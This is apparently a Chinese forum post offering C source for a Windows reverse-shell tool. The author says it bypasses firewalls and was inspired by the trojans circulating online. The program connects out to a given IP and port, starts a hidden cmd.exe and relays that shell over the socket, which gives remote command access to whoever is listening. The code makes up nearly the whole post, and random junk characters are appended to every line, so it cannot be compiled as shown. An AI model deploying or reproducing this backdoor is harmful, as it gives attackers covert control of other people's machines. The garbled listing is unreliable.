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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0+MNu8t  
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/* ============================== ^Pl(V@  
Rebound port in Windows NT [ZC]O2'  
By wind,2006/7 D\|$ ! i}  
===============================*/ ly"Jl8/<  
#include _DsA<SJ]  
#include FsQeyh>  
r09gB#K4  
#pragma comment(lib,"wsock32.lib") Qt`hUyL  
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void OutputShell(); -n&g**\w  
SOCKET sClient; -!MrG68  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R<. <wQ4I  
-^sW{s0Rc  
void main(int argc,char **argv) wZ6D\I  
{ ?>c*[>LpZ  
WSADATA stWsaData; HV O mM17  
int nRet; Uytq,3Gj6  
SOCKADDR_IN stSaiClient,stSaiServer; Z9 X<W`  
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if(argc != 3) E;!pK9wL|  
{ *D`]7I~}  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3ARvSz@5  
return; c%1k'Q  
} N(i%Oxp1  
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WSAStartup(MAKEWORD(2,2),&stWsaData); t Gt/=~n9  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5ncjv@Aa  
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stSaiClient.sin_family = AF_INET; m2c>RCq  
stSaiClient.sin_port = htons(0); Q{%2Npvq  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t~5m[C[`w  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MJ5Ymt a  
{ n>Cl;cN=  
printf("Bind Socket Failed!\n"); k3[rO}>s  
return; u#(& R"6  
} kk|7{83O  
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stSaiServer.sin_family = AF_INET; Pdgn9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <Q57}[$*)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 758`lfz=_  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lMkDLobos  
{  R&oC9<  
printf("Connect Error!"); d)@Hx8  
return; 0|6]ps4Z7  
} SCwAAE9s]  
OutputShell(); 9Z?P/ o  
} 5>9KW7^L  
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void OutputShell() :Y? L*  
{ BdW Rm=  
char szBuff[1024]; \9;SOAv  
SECURITY_ATTRIBUTES stSecurityAttributes; dA,irb I0W  
OSVERSIONINFO stOsversionInfo; zk6al$3R  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (pBPf  
STARTUPINFO stStartupInfo; eZ>KA+ C[  
char *szShell; 0!4;."S  
PROCESS_INFORMATION stProcessInformation; P9d%80(b4  
unsigned long lBytesRead; -dRnozs6W  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c}XuzgSY  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .&z/p3 1  
stSecurityAttributes.lpSecurityDescriptor = 0; 4Cd#S9<ed  
stSecurityAttributes.bInheritHandle = TRUE; 8]SJ=c"}Xf  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iJ8 5okv'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @.rVg XE=!  
\o|5 /N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j@w+>h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3o).8b_3g  
stStartupInfo.wShowWindow = SW_HIDE; 0<g;g%   
stStartupInfo.hStdInput = hReadPipe; |AosZeO_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i|`b2msvd  
-|1H-[Y(  
GetVersionEx(&stOsversionInfo); |)%]MK$;  
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switch(stOsversionInfo.dwPlatformId) @ve4rc/LI  
{ * ':LBc=%  
case 1: ;Avz%2#c`  
szShell = "command.com"; 3Jt7IM!9[  
break; Yg @&@S]  
default: g&79?h4UXQ  
szShell = "cmd.exe"; 4jWzYuI&J  
break; jruXl>T!U  
} m7dpr$J  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^Vbx9UN/  
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send(sClient,szMsg,77,0); >M}\_c=  
while(1) 98c##NV(7|  
{  9S<87sO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8vk*",  
if(lBytesRead) "7]YvZYu0  
{ v?BVUH>#9  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5} v(Ks>  
send(sClient,szBuff,lBytesRead,0); \(4"kY_=  
} 2#srecIz-!  
else Z.4 vKO[<  
{ @&I7z,  
lBytesRead=recv(sClient,szBuff,1024,0); LnwI 7uvq  
if(lBytesRead<=0) break; r Jo8|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fbl8:c)I  
} `6R.*hq  
} YmBo/IM  
bF85T(G  
return; Ok0zgi  
}
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